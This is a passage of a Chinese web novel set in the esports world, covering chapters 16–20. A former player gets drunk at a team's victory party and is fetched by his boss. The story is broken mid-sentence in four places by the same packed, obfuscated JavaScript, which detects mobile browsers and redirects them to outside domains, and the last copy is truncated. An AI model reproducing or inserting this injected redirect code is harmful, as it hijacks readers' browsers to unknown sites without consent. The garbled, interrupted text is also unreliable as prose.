一阵笑闹后,郁思白跟每个人打了招呼,找了个位置坐下,众人也不见外,一群半大小伙,对着一桌子菜就风卷残云起来。 娃娃脸的pupu就坐在他旁边,开口提醒:“对了,你不是要问foun神事情吗。” 郁思白这才想起来,咬了下筷子问:“段哥你最近是不是送出去一套嘉年华的限定礼盒?手绘板的那个。” “啊,是有。”坐在对面的段骋雪点头,不等郁思白询问礼盒来历,直接道,“你拆封了?包装盒跟合格证扔了吗?” “拆了啊,都摆好了……”顺口回答过后,郁思白愣了一下,“你怎么知道在我这儿?” 段骋雪目光一闪,随意笑了笑:“就知道是给你,我才送他的。不然随便给个谁,暴殄天物怎么办。” 郁思白几乎下意识重重咬住筷子,低声自言自语含糊道:“他果然… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333035|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “果然什么?”段骋雪问。 “果然是个早有预谋的圈套。”郁思白咬着牙说,“我跟你说,我们那老板简直就是一个老狐狸,你跟他打过交道你应该知道,一肚子算计,玩弄人心……” 段骋雪原本格外专注地听着,听到最后,虽虽然松了口气,目光却越来越茫然。 res骂老板骂的这么起劲儿,想来是没有发现序列号的事儿,但……玩弄人心?谁?季闻则吗。 这人哪怕是不在电竞比赛里,在庭季总部工作的这么些年,好像也基本都是佛面蛇心、毫无情面这种风评吧。 他倒是雷霆手段处理了不少玩弄人心的家伙。 “……我就知道这东西不是那么好拿的,我早该知道。”郁思白抿着唇说着,整张脸都垮了下来,怨气显然不假。 圈里人都知道res情绪稳定脾气好,只要不碰到他的逆鳞Execut2,完全就是个好好先生,就连以前吐槽单位老板也都是搞笑居多。 段骋雪忍不住好奇,季闻则到底是做了多罪大恶极的事儿——总不能是说Execut2真是个废物,他骂他自己吧。 “怎么了,你的新老板欺负你?”他问。 “说起来比较复杂,长话短说的话,就是……”郁思白琢磨了片刻形容道,“他想逼良为娼。” “噗——咳咳咳。”段骋雪立刻一手捂嘴,另一只手扯了纸巾就是一通擦。 薛简等他的时候喝了点酒,原本只是拖着下巴好奇听着,郁思白这么一句逼良为娼把他炸出来了。 他一拍桌子,充满正义感道:“你老板叫什么?你薛老板我在沪市也是有几分薄面的,实在不行还有我发小,更牛!谁敢这么欺负你!” “唉,倒是也不用……”郁思白当然是拒绝,倒不是在意老板怎么样,只是不想把自己朋友牵扯进来。 被薛简这么一搅,心里压下去的郁气和纠结倒是也散了不少,想起自己刚刚回答了一半的问题,扭头看向段骋雪。 “你刚刚问我盒子……已经扔了,怎么了吗?” “合格证呢?” 郁思白没当回事儿,随口道:“也扔了。我老板在上面签了微信号,留着多晦气……你笑什么。” 他对面,段骋雪那颗染着银白头发的脑袋已经笑得一抖一抖了,即便如此,手指还是坚强的在手机屏幕上一下一下的戳着打字。 【哥,一个好消息,一个坏消息,你要先听哪个?】 17.第 17 章 郁思白见他打字,忽然一个激灵,直起身:“你别是在跟我老板通风报信吧??你们只是利益关系,foun神,我们才是打游戏的好兄弟。” 笑得直不起腰的段骋雪立刻清了清嗓子,正色摆手:“怎么会……我跟对象发消息呢,一会儿喝一杯你们的庆功酒沾沾喜气,让他来把我认领回去。” “我看你不是想喝酒,就是想我们co神来接你吧。心机男!”薛简一针见血,段骋雪笑笑,也没反驳。 薛简又问:“你这次来沪市是忙什么?有什么能帮上的就说。” “来争取一下嘉年华举办地。”段骋雪说。 薛简愣了一下,嘴里的排骨都忘了嚼,片刻才说:“难吧,这种活动不都优先考虑沪渝吗。” 段骋雪笑笑:“我年初刚在渝城改建了个场馆,正好赶得上嘉年华,是跟庭季合作的……”说到这儿,他侧头看了郁思白一眼,对方在跟pupu聊天,完全没关注他们的话题。 薛简却疑惑,哪怕略带醉意,也记得压低声音:“庭季?他不是不做电竞类吗?当年你S.S那个场馆他都不亲自接……” “跟他没关系。”段骋雪说,“我知道他排斥这些,肯定也不会去给他添堵。” “也是。”半醉的薛简扯扯嘴角,品了口酒,却突然被呛得眼眶发红。 “好好一个人,怎么,怎么就变成现在这样……” “不是……你这说的像他截瘫了一样。”段骋雪失笑,想了想说,“虽然确实有遗憾,但他现在其实,也挺好的?” “谁知道呢。”薛简又闷了一口,忽然抬高声音,“对了,foun神你要是拿到举办权,来请我们res做场馆设计呗。” “唔?”被忽然点名的郁思白抬头,他没听清前面说了什么,嘴里还塞着pupu给他填鸭进去的桂花凉糕。 旁边,娃娃脸的pupu还在语重心长:“看给我们re宝上班上得瘦成什么样了,多吃点……” 段骋雪看了看他,笑着耸肩。 “那也得看他老板放不放人咯。” - 一顿饭吵吵闹闹吃到九点多,ICG众人准备去KTV续第二摊,段骋雪提出告辞。 “下午co神在酒店赶论文,才出来跟你们凑个热闹。”他笑。 一行人乘电梯下楼,郁思白从包里摸出一只黑色口罩戴上,又接过pupu递来的ICG周边帽子。 “这是……?”段骋雪好奇。 “等会儿去KTV他们要开户外直播,我做点伪装……”郁思白说着,撩起刘海露出光洁的额头,然后扣上帽子,眼镜一摘。 只看脸的话,那种社畜的感觉已经散了大半。 薛简大笑:“他可得藏好了,不然被老板刷到骂自己的直播怎么办?” 段骋雪愣了一下。他没想到res是下属这事儿,季闻则连薛简都瞒着。 也是……要是薛简知道res的老板是谁,保准生不起挖人来ICG的心思。 这下倒是有趣了…… “coco!” 电梯门刚开,郁思白看清门口站着的人时,立刻扬起笑容。 长发松松挽起的青年闻声抬头,笑得温温柔柔:“好久不见。” 楚别夏,比赛id是collapsar,和段骋雪一个队伍,退役前也是传奇冠军队长。 “你什么时候来沪市的,也没跟我说。”郁思白快走两步,帽檐下漏出几缕刘海来。 “跟导师来参加一个会议,明早就走了,怕你加班,就没说。”楚别夏看了眼他的头发,指了指额头问,“要皮筋吗?” “嗯嗯。”郁思白没跟他客气,接过皮筋,随手把刘海扎了个软趴趴的小揪,往后一压,塞进帽子里。 比起founder,他跟楚别夏的关系就近的多了,毕竟都是cn赛区成立之初就在的老选手和老解说,情谊非同一般。 founder是欧洲赛区出身……跟卡神比较熟吧。 郁思白心念一动,忽然问。 “段哥,你跟卡神现在还有联系吗?” “少。”段骋雪没说假话,“薛老板跟他更熟吧,毕竟是股东。” 郁思白摇摇头:“薛老板很少提他。这次庆功宴……也没邀请到。” 两人谁都没说,但心里都明白,这八成是Execut2叮嘱的。 “他当年也说过,退役就当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339556|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不在了,不出现也正常……”段骋雪说着,胳膊忽然被轻轻捏了一下,侧头看见楚别夏微微蹙着眉头,似乎不大忍心。 郁思白没看见小情侣的小动作,低着头笑了一声。 “我知道……就是觉得今天夜色不错,做个梦呗。” 段骋雪劝他:“卡神现在也确实忙,不是不想见你们。” 他心里却想,季闻则忙是真的忙,但这么多年一直跟电竞相关划清界限,不想见……也是真的不想见。 该劝劝res放下期待的。 楚别夏隔着帽子,轻轻拍了拍郁思白的头顶。 “去玩吧,我们走了。”他说,“周末愉快,有空一起打游戏吧。” 跟一行人告辞后,楚别夏和段骋雪并肩往地铁站走。 “真的没人会想到那合格证上会有序列号。”段骋雪说。 “他扔了?” “嗯……但你绝对想不到是因为什么。”段骋雪哭笑不得,“可能真的是没缘分吧。” “你什么时候也信起这个了。”楚别夏好笑地睥他一眼,“我倒是不觉得。” 他想了半晌:“如果真的没缘分,他们就不会以现在这样的身份再相遇了。” 段骋雪看他。 楚别夏笑笑说:“打个赌吗?我觉得res会得偿所愿。” “什么愿望,见到Execut2吗?不可能……”段骋雪正思索着,手机忽然来了新消息。 “谁?” “季哥。” 【刚开完会。】季闻则说。 他像是忽略了段骋雪“先听好消息还是坏消息”的选择,上来直接猜中。 【他没发现,但也没想加我微信?】 段骋雪啧了声:“季哥还是季哥。” 他打字。 【比这个严重点。大笑.jpg】 【他还骂你了。】 季闻则那边大概还在忙,半晌回复。 【员工对老板有微词很正常,没什么好在意的。】 段骋雪纳罕。 “他还真变成闻过则喜了?” 想了一下,楚别夏忍着笑说。 “好名字改变人的一生。” 18.第 18 章 一行人热热闹闹转去KTV,薛简几人扫了码点歌,郁思白帮着pupu调试他的直播间。 “re宝这个你一般怎么设置?” “我也不会啊,我没拿手机播过……” 两个臭皮匠折腾半天,总算开了。 一闲下来,郁思白环顾一圈,忽然问:“咱是不是缺了个人?我们小kulu呢?” “啊?哦,你说梁路。”pupu道,“那小子下午睡过头了,说要洗个澡抓个造型再来,应该等会儿就到……” 正说着,包厢门就被推开,一个有一米八多的男生探头,扫视一圈,确定自己没找错地方才进来。 “嘿,说曹操曹操到。”pupu抬手招呼,“梁路,这儿。” “小白哥!” 男生被pupu叫着,却冲着郁思白酒小跑过来,往他身边一站,叫他还得抬头才看得清。 “别这么叫我……像只鸽子。”郁思白哭笑不得。 梁路摇头,像只洗完澡故意甩水的倒霉狗。 这小孩向来这样,郁思白也就随他去了,笑着道:“恭喜fmvp啊,小kulu。”说着,目光略过这家伙的头发,忽然顿了顿。 确实是刻意抓过造型的模样,但被kulu这张青春无敌男大的脸顶着,就总有种把头发梳成大人模样的违和感……而且发型有点眼熟。 梁路见他看自己,一双微微下垂的眼睛笑得弯起,笑容毫无阴霾:“小白哥,评价一下?” “技术不错。”郁思白想了一下说,“我们老板也差不多就是这个发型。” pupu顿时比了个拇指:“这发型好,有钱人的发型。” 梁路却抿了抿唇,笑容落了一些,问他:“是你们公司新来的那个……长得挺帅的老板吗?” 郁思白没想到他们平时训练那么忙,还会看自己直播,随口应了一句:“也就一般帅吧……提他干嘛,好好的下班时间。” “我的错。”梁路笑容的温度又炽烈起来,他往郁思白旁边一坐,顺手从桌上摸了两颗李子,一人一个,边啃边问。 “小白哥,你是不是不喜欢你那个老板?” “你这话说的,哪有人喜欢老板,m吗?”郁思白瞥他,“你会喜欢薛老板?” 梁路头摇得像拨浪鼓,看得郁思白失笑:“这小孩……” “res!来玩游戏!”薛简几人在那边喊,才看见梁路。 一个队友忍不住道,“你每次见你白哥都跟屁虫似的……res我跟你说,这人夺冠当晚喝多了还喊——唔唔唔!” 梁路一个箭步,三两下冲过去,捂住了自家队友的嘴,一张脸在昏暗的灯光下都看得出涨红。 “喊他白哥的名字呗,有什么不好意思说的。”薛简促狭笑着,“都兄弟,怎么啦小路,不让说,心里有鬼啊?” 梁路可不敢捂老板的嘴,却也没回答,扭头看向郁思白。 郁思白检查好自己的口罩帽子才看过来,压根没听到,只说:“牌呢?我洗牌。” 薛简挑眉看了垂下眼睛的梁路一眼,耸了耸肩。 - pupu带了两副扑克牌,在弹幕的呼声下,先玩了国王游戏。 郁思白玩游戏运气一直不错,打/枪游戏能有运□□,摇骰子大部分时候都心想事成。 但这种运气放到国王游戏里,就不是那么美妙了。 短短十分钟,五轮游戏,郁思白就被点到三回。 第一回被点到的是薛简,直接在直播间发了一万块的抽奖。中间三回都是郁思白,惩罚不痛不痒。上一回是队里的两个选手,抽中的惩罚是“搂在一起情歌对唱”。 两个都是性情中人,原先是一副耍宝的样子,唱着唱着,不知哪句词戳到心上,想起夺冠瞬间,红了眼眶搂在一起,嗷嗷哭嚎起一路的不容易。 “夺冠真好。”郁思白忍不住说。 他的声音淹没在两人的嚎哭里,梁路听了个含糊,靠过来问:“什么?” 郁思白笑了笑,抬高声音:“我说,做自己喜欢的事真好。” 闻言,梁路目光立刻亮了亮,说:“那哥你也跟我们一起吧!你来当分析师,我们一起再拿个冠军!” 前面两个嚎完,蹭了彼此一身眼泪鼻涕,又互相嫌弃着坐了回来,一边招呼着开始下一轮,一边高喊着还要再打一辈子职业。 但谁都知道,聚散终有时,这压根是不可能的事儿。 看得郁思白忽然有点怅然,再被梁路这么一问,笑了一声:“行啊,哪天没工作了就来应聘……喏,抽牌。” 梁路摸到代表国王的大王牌,想了一下:“我选……红桃七!” 郁思白愣了一下,翻开自己手上的牌,诧异:“怎么又是我?”这参与感有点太强了吧。 pupu抓过他的牌一看,大笑:“这屋里坐的全是冠军,你的运气要被我们吸光了!” “抽惩罚牌!” “单人还是双人?国王。” 双人惩罚基本都是带点暧昧的动作,很适合在直播的时候玩效果。 但梁路连连摇头:“单人,单人。” 说完他看了眼开始狂刷【铁暗恋】的弹幕,又小心看了看郁思白,发现他已经在抽惩罚牌的时候,目光黯淡了几分。 郁思白抽了两张牌,二选一。 翻开第一张,众人就哄笑出声——罚酒一杯。 在座的谁不知道他的酒量,毕竟被灌倒遗弃路边的那次,他还是借宿ICG的。 郁思白翻开第二张,几乎是看清的一瞬间,他下意识把牌扣了回去。 “选第一张。”他毫不犹豫。 “不是,什么牌啊吓成这样?” “没看清,只看到个什么微信置顶……” pupu说着,还没伸手拿牌,郁思白就把那张插回了牌堆,然后把自己的杯子往中间一推。 “谁给我满上?” pupu惊呆了:“你悠着点儿,干嘛,要跟我们一块回去睡基地?那得跟我挤一张床……” “我,我睡训练室。小白哥睡我床也行。”梁路说到一半,被pupu敲了一下脑袋。 “我这正劝人呢,添什么乱。”pupu咬牙,“他不能喝。” 郁思白用胳膊拐了好友一下,摇头:“最近水逆,得喝一杯你们的庆功酒沾沾喜气了……而且我后来也有自己练酒量的,你们看着吧。” “等等等等!”梁路忽然说,“我作弊的,我刚刚发牌不小心看到了小白鸽的牌,故意点的他,我重说。” 坐在他左手边的队友把他脖子一挎,狞笑:“害人是吧?你也喝!” 梁路无有不应:“我喝两杯,我替他喝!” “真不用……”郁思白无奈。 薛简看出他是真想喝,拦了一下梁路,笑道:“想喝就喝,res你把你家地址告我,等会儿安排人给你送回去。” 这下,终于没人再拦着了。 啤酒倒进玻璃杯,pupu刻意给他少倒了点,郁思白端起来,避着镜头摘了半边口罩,一扬杯子,干脆地闷了。 玻璃杯咔哒一声落在桌面,郁思白重新把口罩戴好,压了压帽檐,才发现所有人都在密切关注他,不由失笑。 “没感觉啊,我说了练过酒量的。”他啧了一声,“看不起谁呢,再喝三杯都行。” 薛简笑他:“得了吧你……你要是能喝三杯还能走路,我把你卡神摇来接你回家!” “真的?”郁思白刚松手,立刻又抓住杯子,那架势,仿佛只要薛简点头,他就能立刻再闷两杯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16347704|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>pupu立刻正色:“说归说闹归闹,别拿他卡神开玩笑。” 薛简本来就是玩笑话,连忙摆手:“假的假的。我可没那么大面子……你还行不,真的不晕?” “不晕。”郁思白目光清醒,口齿清晰,把手里那张罚酒牌往牌堆一丢,潇洒道。 “继续。” - 办公室内,季闻则摘了眼镜,指腹捏了捏眉心。 十点多。 该说什么,幸好他临时赶回来了吗? 季闻则失笑。 原本没想这么早就对卢近仁动手的,但既然郁思白创造了这么好的机会,他当然不能放掉。 窗外灯光和夜色在沉默里交织,季闻则向后靠进椅背里,随手拿过从钱翀手里留下的、郁思白改过的那几张图,反复看了很久。 “季总,卢近仁走了。”杨孟越敲门进来,把新打印好的文件放到桌上,季闻则垂眸扫过。 【郁思白……代理总监……】 拿起钢笔,季闻则翻到最后一页,刚签了个季字,笔尖忽然顿住。 他忽然想起自己那张写着微信号、和一个季字的纸条。 段骋雪说……被扔了。 “季总?”杨孟越出声。 季闻则停笔,合上笔盖:“周一再说吧,总要先问问他的想法。” 杨孟越张了张嘴,掩住疑惑的神色,只应下来,然后上前把文件收好放进碎纸机,接着道。 “季总,十点五十左右,您要代替季董开个短会。” 季闻则正打算下班,整理袖口的动作闻言顿住:“……她那里不是白天吗?怎么让我去。” 杨孟越面露难色:“这……” 显然是不清楚。 季闻则无奈颔首:“知道了,你下班吧。” “好的季总。”杨孟越扬起笑容,很快收拾好文件,轻轻扣上了门。 办公室里重新安静下来,季闻则抬腕看了眼时间,拉开椅子重新坐回去。 没人敢相信,季总一个在办公室里的时候,竟然顺手打开了J站直播。 往前推几天,季闻则也想不到。 他刚点进主页,这个原本充满【Execut2】的地方,置顶上赫然换了个名字。 【今天跟着蹭户外[开心]指路:ICG-pupu正在直播】 季闻则不太明显地抬了下眉,顺着点进去。 “死了——!都!要!爱——” 几乎有实质性杀伤力的嗓音,瞬间从听筒里炸出来,季闻则立刻把音量调到最小,点了全屏,才看清画面里的情况。 大概是为了直播,KTV里灯光还算明亮,季闻则目光从这群人脸上略过,除了教练ketya是他当年并肩过的熟面孔,其余的年轻人,每个都很陌生。 看Respit2直播的时候,虽然地图和英雄也都是新的,但大约是小主播节目效果太好,让他没空去感受想些别的。 现在耳边只有鬼哭狼嚎声,季闻则按下心头腾起的不耐,没退出去。 他发了条醒目留言,很快,身为直播间主人的圆脸青年靠过来,念道。 “谢谢404老板的sc!‘看看res’……res喝趴了,不能近看啊,远远给你们扫一眼。” 紧接着,镜头晃了两下,再稳定下来,拍向了包厢的另一个角落。 熟悉的浅色衬衫,今天下午和他擦肩而过的深咖色风衣被叠放在手边,身上披着的,变成了ICG不知道谁的队服。 郁思白口罩拉到下巴,头歪到旁边男生肩上,像是睡了。 季闻则眉头一下就皱了起来。 薛简就是这样照顾人的? 他抄起手机给薛简拨了个电话过去,可对面薛老板正沉浸在自己的歌喉中,压根没接。 19.第 19 章 发现自己一杯啤酒下肚却毫无反应的时候,郁思白是真的以为,自己的酒量随着年龄也多少涨了点。 众人见他清醒,不幸被罚第二杯的时候就没再拦,过了一会儿,郁思白只觉得有些过于兴奋的微醺,于是主动喝了第三杯。 几乎杯子刚放到桌面,郁思白就心道不好。 醉意以一种压根不符合酒精代谢规律的、过分有冲击力的形式涌了上来,没过多久,他就开始目光发直。 梁路感觉到旁边的人不太自在地动了动,关切道:“小白哥,怎么了?” “……闷。”郁思白低声说着,手摸索着就要去扯自己的口罩。 “诶卧槽祖宗,干嘛呢!” pupu靠近镜头的眼疾手快地拦了下来,手晃了晃他肩膀,了然。 “醉了这是……小路,带你白哥到边上去,别一会儿让他自己把马甲作掉了。” 梁路愣了下,然后立刻嗯嗯着起身,扶住郁思白之后,被胳膊环着的重量惊了一下。 “没事……只是一点微醺,能走。”郁思白压根没吃他的力,拍拍他肩膀自己往角落的沙发去,虽然挪动的速度略慢,但行进路线还算笔直。 可即使他再三表示自己能照顾好自己,梁路还是没走,执意道:“小白哥,一会儿我送你回去吧……” 角落比玩闹的人群中心要安静一些,他一边低声问询,一边听到pupu谢礼物的声音。 “谢谢404老板的sc……看看res?” 真的是……很受欢迎啊。 梁路感慨着侧头,就看见郁思白终于趁人不备,一把将口罩拽到下巴下面。黑色口罩把原本就称得上精致的脸型收得更小。 梁路忽然觉得有些口干。 “……不能近看啊,远远给你们扫一眼。” pupu的声音传来,梁路立刻回过神来,来不及思考,反手脱了自己的队服就罩到郁思白头上。 但他也是第一次干这种遮遮掩掩的事儿,衣服在空中划过一条弧线,最后只落在了郁思白肩头,脸上是半点没遮住。他这一套动作,翻到像故意吸引视线似的。 “哈哈哈没事儿的小路。”pupu看懂他失败的动作,笑道,“我手机像素没那么好,看不清的。” “哦哦……好。”梁路这才松了口气,脸上弄巧成拙的尴尬散了一点,又看了看身边的青年,想了想,抬手拉高队服遮到脖子,全当给他盖被子了。 “干什么……我没有要睡觉。”郁思白摆了摆手,眼睛却是半闭着的,声音也多少有些含糊。 他眼镜都歪到鼻梁下面,梁路直接帮他摘下来,劝道:“小白哥,你真的喝醉了。” 郁思白眉头一皱:“我才喝了几杯……不可能。” “三杯。”梁路说。 “三杯……三杯?!” 忽然意识到什么,郁思白顿时坐直,睁开眼睛,伸出胳膊往天花板一指,大声道。 “让薛老板把……把卡神给我叫来!” 薛简虽然也喝了不少,但和他比起来完全神志清醒,好笑道。 “你喊吧,叫破喉咙你卡神也不会来救你的。” pupu也举着麦克,露出桀桀的笑容。 薛简原本只是一句开玩笑的话,却不知被郁思白听成了什么,他看向人群的目光愣了愣,上一秒还神采奕奕,下一秒,指着天花板的胳膊忽然垂落下来,连带着那双眼睛也垂下视线。 梁路靠过去,只含糊听见了几句嘟囔。 “别再灌我酒了,我喝不了,我……” 他忽然提了口气,无比清晰的四个字在梁路耳边炸响。 “我要辞职!” 他仿佛用尽全身力气喊了出来,偏偏音响里还播放着不知谁点的《乐意效劳》。 薛简被逗笑了,闻言,顿时兴奋探头:“你要辞职?好啊好啊!res你辞职来我这!” “要我说,当年就该把你跟蒲璞一块儿给抓到队里来,说不定你现在也是冠军教练组了——” 郁思白眨眨眼,嘿嘿笑了一声,抬高声音应和。 “好啊——”他跟唱山歌似的,“再来一次,我一定要亲口许冠军愿望,我要……让……卡……” 他的措辞越来越颠三倒四,直至语言能力彻底被梦境吞噬,整个人就这样混混沌沌闭上了眼睛,被自己一句话,带回了很多年前的夏天。 他和蒲璞认识的比在场所有人都早。 因为直播需要,郁思白怕打扰到室友,赚到一点余钱之后,选择在校外租房。也是那时候,意外结识了同样要合租的娃娃脸青年。 那时候,他们一个是刚刚崭露头角的主播,一个是才进二队、没有宿舍的年轻选手,两个囊中羞涩的男生一拍即合,一块儿租了个单间——郁思白晚上直播,pupu白天补觉。 就这样一直到他大学毕业那年,两人又几乎同时迎来命运转折。 郁思白拿到了设计院的offer,新单位和住址一个城南一个城北;pupu也收到了ICG的试训通知,即将远赴沪市。 搬走前,他跟pupu说,你一定会拿到冠军的。到时候我给你设计最漂亮的荣誉陈列室! pupu也说:你也会设计出最好看的房子,成为设计大师! 意气风发的少年挥手作别。 只是,手在眼前挥过之后,郁思白的视线里,场景忽然变成了公司茶水间低矮的天花板。 戴着耳机的左耳里,是夺冠现场的兴奋呐喊,右耳却传来走马灯一样的声音。 “你只是个设计助理,现在要学会的是听从和高效执行。”设计院的老师把他自由发挥的修改方案丢进碎纸机。 …… “郁设计,我相信你的才华能在庭季得到充分展现,违约金我们来付。”合作过一次的钱远新笑着向他递出橄榄枝。 下一秒,他的声音又变得暴躁—— “郁思白!挖你是看中你的效率,别在公司给我整什么慢工出细活,再有 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三杯啤酒对他们来说是不算什么,但对res这种一瓶盖酒量…… 他嘶了一声,忽然有点苦恼,嘟囔:“地址还没说呢……” 角落确实比正中安静一些,薛简直到这会儿,才隐隐约约听到从自己裤兜传来的消息提示音。 他半蹲着掏出手机,解锁一看,吓得直接啪叽坐到了地上。 ——那个八百年联系不上的活祖宗季闻则,给他播了好几个未接来电,发了十几条微信。 [你就是这么照顾人的?] [知道他酒量不好还喝成这样?] [过量饮酒会出事你不知道?] …… [他喝了多少] [薛简] [接电话] 最后一条更是让他魂飞魄散。 [五分钟到] 你过来……不是你谁啊?把我兄弟吐出来! 薛简抬手重重拍了一下自己脑袋,意识到这并不是幻觉。 不是,这人前几天不还对Respit2拒不见面吗?这是怎么了?看直播发现小主播长得惊为天人,顿时坠入爱河? 薛简坐在地上,脑子嗡嗡的,还没想出个所以然,包厢门被突然推开。 所有人的目光齐刷刷看过去,几乎同一时间,下意识止住了声音。 走廊的灯光比室内更亮,男人逆光站着,看得出身量高大肩背有型,黑口罩、银丝框镜、一身戗驳领长大衣,和鬼哭狼嚎的众人格格不入。 房间里被按下消音键,只剩下仿佛只为他奏响的鼓点。 “打扰了。”他礼貌开口,语气温和,声音却像冻了一层冰碴。 “我来接人。” 20.第 20 章 pupu第一个反应过来,上前一步,娃娃脸扬起疑惑的笑容:“你是……” 男人没说话,往前一步看向薛简,这一侧头,却让原本正在点歌的教练ketya一愣。 ketya高鼻梁深眼眶,胡子比头发蓬松,是个典型的欧洲面孔,来cn七、八年,已经学会了亚洲蹲。 他揉了揉眼睛,迟疑着刚要张嘴,男人却已经绕过地上的几个烟头,长腿一迈,直往角落而去。 见薛简没开口赶人,pupu也就没拦,只问:“薛老板,这是你找来送res回家的吗?”这么帅?哪儿找的 …… 角落里,薛简还懵着,心里苦水吐不出来,心道我哪儿有那么大面子。 薛简一咬牙:“不……” “嗯。”几乎同时,季闻则颔首,低声应了一句。 他站到沙发前,垂眸看了眼早睡得不知身在何处的郁思白,转而看向扶着他肩膀的梁路,神情被遮在口罩下,声音却是温和含笑的。 “把他给我吧。” 梁路下意识就听从,刚一松手,忽然皱了下眉头,觉得不对。 他挺直脊背,立刻重新扶住郁思白肩膀,道:“我跟你一块送。” “等一下……等一下!”薛简终于反应过来,连滚带爬站起,一拉这祖宗胳膊两步走到墙边。 刚站定,季闻则就挑了下眉,看得薛简后颈一凉,微醺的大脑彻底清醒了。 “你等等。”他双手下压,冷静半晌,指了指躺在沙发上睡得安详的青年,又看了看面色淡然的季闻则,压低声音问。 “怎么回事儿啊?” “这话该我问你吧。”季闻则单手揣兜往边上一靠,肩膀抵在墙上,微微低头抬眼看他,“这么劝酒,不怕把人劝出事儿?” 薛简解释:“祖宗!我知道你对喝多这事儿……比较注意,但他真没喝多少!” 说着,他竖起三根手指,表情里颇有点讨理的意思。 季闻则瞥了眼:“三瓶盖?” “你他……”薛简额角一跳,“三杯!三杯啤的而已!” 季闻则只那么看着他,什么都没说,却也什么都说了。 你难道觉得不多? 薛简一时语塞,又觉得确实是自己理亏了,一撇嘴道:“ ……也是,我的锅。” 季闻则颔首。 “行了。人我带走,下次……”他顿了一下,“你们应该不是特别常聚吧。” 薛简点头:“平时大家都忙,作息也对不上,能一块儿打个游戏都费劲……不是,你又知道了?” “猜的。否则他不会喝这么多。”季闻则淡淡。 每天都见的顶头上司一瓶盖都不给,很久不见的网友狂饮三大杯——这就是他们郁总监,简直太合理了。 口罩下的嘴角扬起一抹似有若无的笑,季闻则低头将袖口稍挽起两寸,却听薛简说。 “但一码归一码,我也不能让你带他走啊。”薛简皱眉,“你以什么身份带人?带哪儿去啊?你就是他男神、是Execut2也不行啊。季闻则我跟你说,我可不干那拉皮条的事儿,你也别在我这儿犯浑……” 季闻则轻啧一声,侧头,朝那边挑了挑下巴。 “他叫郁思白,庭季设计部设计一组组长,我是他老板,碰巧,刷到了你们的直播间。” 他停顿两秒,似乎在欣赏薛简的表情,又悠悠道,“他下班没打卡,现在还算他的工作时间……这个理由可以吗?薛老板?” 薛简完全懵在原地,半晌才磕磕绊绊地找回声音。 “那、那他刚刚说要辞职的话……你也听到了?” 季闻则轻飘飘一个“嗯”字,把他汗都砸下来了,立刻道。 “我先说好啊,说要挖他的意思,只是安安稳稳在他后面做个默默无闻的接盘侠……”他顶着那张渣男脸,从未如此正经发誓。 “他什么时候辞职我什么时候接盘。绝对!没有要跟你杠的意思啊。” “醉话而已,我还不至于因为这种玩笑话说什么。”季闻则笑。 终于弄清前因后果,也避免了引火烧身,薛简松了口气,眼珠一转道:“所以,res就是那个你当时看简历就特别欣赏的设计师?嘿嘿,我们res真是走哪儿都人见人爱。” 季闻则没接茬。想到晚上从卢近仁和钱翀那听到的话,心道那可不见得。 “不早了,回头再聊吧,我还有事。” 他说完便转身过去,目光一扫,弯腰捏起被梁路放在桌上、不怎么显眼的眼镜,又把叠好的风衣挂在臂弯,没有伸手去扶人,直起身,垂眸对梁路道:“不是要送他下去么?” 他和薛简说话声音不大,又在角落,没人敢上前偷听个只字片语。只是在他动作的时候,视线又齐刷刷投来。 “让他送吧,信得过。”薛简道。 pupu放了心,热情道:“那麻烦你啦,帅哥。” 梁路愣了下,连忙起身,跟在后面走了两步才反应过来。 不对啊,我为什么要听他的话? “去、去哪儿……”郁思白被这么一折腾,有点儿从梦里将醒未醒,说话带着些大舌头地问。 梁路胳膊用了点劲把他撑住,说:“小白哥,薛老板叫了人送你回去。” 郁思白努力想睁开眼睛,眼皮却重得像上数学课的时候,只能挣扎道:“我……不走。” 刚刚看他时头都没低的男人忽然微微俯身,侧头,带着些许调笑说。 “你下班没打卡,回去打了卡才能领加班费。” “啊……”走廊那串橙红浅粉的霓虹灯影正落在他脸上,郁思白闭着眼睛反应了一会儿,终于卸了力道,重重点头,“好,好。” 季闻则莞尔。 两人左右护送着三杯啤酒醉鬼进了电梯。 梁路借着轿厢的镜面花纹,不着痕迹地打量了男人好一会儿,忽然问。 “你是他同事吗?” 男人垂眸又看了他一眼,声音仍旧温和,坦言:“我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 